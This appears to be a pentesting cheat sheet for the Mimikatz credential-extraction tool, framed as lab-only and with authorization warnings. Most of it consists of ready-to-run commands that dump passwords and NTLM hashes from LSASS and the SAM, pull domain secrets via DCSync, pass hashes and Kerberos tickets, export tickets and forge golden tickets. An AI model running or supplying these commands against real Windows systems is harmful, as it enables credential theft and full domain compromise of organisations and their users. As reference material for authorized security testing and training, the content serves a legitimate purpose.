Mimikatz Cheat Sheet
Windows credential extraction and Kerberos manipulation (lab-only).
Overview
Mimikatz extracts passwords, NTLM hashes, Kerberos tickets, and PINs from Windows memory and performs advanced attacks (Pass-the-Hash, Pass-the-Ticket, DCSync, golden ticket primitives). It is indiscriminate malware-class tooling from a defender’s perspective.
AUTHORIZED LAB / PENTEST ONLY: Use only on:
- Machines you own (personal lab VMs)
- Isolated cyber ranges (HTB, PG, VulnLab, etc.)
- Client environments with explicit written rules of engagement allowing credential access
Never run Mimikatz on employer systems, school networks, friends’ PCs, or production without signed scope. Unauthorized credential theft violates computer fraud laws worldwide. Most EDR will quarantine it instantly.
Install
Run as HIGH integrity / Administrator
mimikatz.exeEssential commands
mimikatz # privilege::debugmimikatz # sekurlsa::logonpasswordsmimikatz # lsadump::sammimikatz # token::elevateCommon workflows
Logon passwords from LSASS (requires admin + SeDebugPrivilege) —
privilege::debugsekurlsa::logonpasswordssekurlsa::wdigestsekurlsa::msvSAM / LSA secrets (local) —
lsadump::samlsadump::secretsDCSync (domain admin — devastating) —
lsadump::dcsync /domain:corp.local /user:Administratorlsadump::dcsync /domain:corp.local /all /csvPass-the-hash / Pass-the-ticket —
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0 /run:cmd.exekerberos::ptt <ticket.kirbi>misc::cmdKerberos ticket export —
sekurlsa::tickets /exportkerberos::list /exportVault / DPAPI (context-dependent) —
vault::listdpapi::masterkey /in:...Flags reference
privilege::debug | Enable debug privilege |
|---|---|
sekurlsa::logonpasswords | Cleartext/hashes from LSASS |
lsadump::dcsync | Replicate DC secrets |
sekurlsa::pth | Pass-the-hash |
kerberos::golden | Forge TGT |
crypto::certificates | Certificate store |
Tips
- Ethics (mandatory): treat every Mimikatz run as a full domain compromise event; document in report, rotate creds after test, and never exfiltrate real user passwords outside scope.
- Modern Windows + Credential Guard + PPL block naive LSASS reads—labs teach bypasses; do not use bypasses on unauthorized systems.
- Prefer built-in assessment alternatives when allowed: impacket-secretsdump, rubeus, lsassy module—still sensitive, often better logged/controlled.
- Delete dumps and *.kirbi files after lab; never commit secrets to git.
- For learning, use dedicated vulnerable AD labs (e.g., GOAD, vuln AD ranges) with snapshots.